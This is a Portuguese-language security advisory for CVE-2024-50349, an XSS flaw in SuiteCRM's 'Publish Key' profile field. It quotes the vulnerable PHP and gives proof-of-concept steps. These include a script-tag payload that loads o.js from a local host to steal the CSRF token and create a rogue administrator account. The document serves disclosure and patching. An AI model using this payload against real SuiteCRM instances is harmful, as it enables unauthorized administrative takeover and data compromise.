CVE-2024-50349: XSS autenticado no campo "Publish Key" permitindo criação não autorizada de usuário administrador

Resumo

O campo "Publish Key" na página Edit Profile do SuiteCRM é vulnerável a Cross-Site Scripting (XSS) Refletido, permitindo que um atacante injete código JavaScript malicioso. Isso pode ser explorado para roubar tokens CSRF e realizar ações não autorizadas, como criar novos usuários administrativos sem autenticação adequada.

Detalhes

A vulnerabilidade surge devido à validação e sanitização insuficientes da entrada do campo Publish Key na aplicação SuiteCRM. Quando um atacante injeta um script malicioso, ele é executado no contexto da sessão de um usuário autenticado. O script injetado (o.js) então aproveita o token CSRF capturado para forjar requisições que criam novos usuários administrativos, comprometendo efetivamente a integridade e a segurança da instância do CRM.

Impacto

Esta vulnerabilidade é um problema crítico de Cross-Site Scripting (XSS). Seu impacto inclui:

1. Acesso Administrativo Não Autorizado: Um atacante pode criar novos usuários administrativos, potencialmente obtendo controle total sobre a instância do CRM.
2. Roubo de Token CSRF: Permite que ações não autorizadas sejam executadas em nome de usuários autenticados.
3. Comprometimento da Integridade dos Dados: A capacidade de manipular contas de usuário e configurações pode levar a perda, vazamento ou modificação não autorizada de dados.

Código-Fonte PHP Vulnerável

$publish_key = $this->bean->getPreference('calendar_publish_key');
$this->ss->assign('CALENDAR_PUBLISH_KEY', $publish_key);

$publish_url = $sugar_config['site_url'] . '/vcal_server.php';
$token = "/";

$publish_url .= $token . "type=vfb&source=outlook&key=<span id=\"cal_pub_key_span\">$publish_key</span>";
$ical_url = $sugar_config['site_url'] . "/ical_server.php?type=ics&key=<span id=\"ical_pub_key_span\">$publish_key</span>";

$this->ss->assign("CALENDAR_PUBLISH_URL", $publish_url);
$this->ss->assign("CALENDAR_ICAL_URL", $ical_url);

PoC

1. Faça login no SuiteCRM usando credenciais de Administrador válidas.
2. Navegue até Edit Profile: Acesse a página Edit Profile da conta de Administrador.
3. No campo "Publish Key" sob a aba Advanced, injete o seguinte script:

<script src=//localhost:1235/o.js>

3. Garanta que o.js esteja hospedado em um servidor em localhost na porta 1235, servindo o código do exploit conforme descrito no trecho de código JavaScript fornecido.
4. Salve as alterações no perfil do Administrador.
5. Ao recarregar a página do SuiteCRM, o script malicioso o.js é executado, roubando o token CSRF e usando-o para criar um novo usuário administrativo com as seguintes credenciais.

Username - imposter
Password - ok

7. Faça login com as credenciais do novo usuário administrativo criado para verificar a exploração bem-sucedida.

https://github.com/user-attachments/assets/cdf96f3d-7f61-4371-818b-e344efdcd197

Referência

• https://nvd.nist.gov/vuln/detail/CVE-2024-50349
• https://github.com/salesagility/SuiteCRM/security/advisories/GHSA-8rw6-g96j-3w7m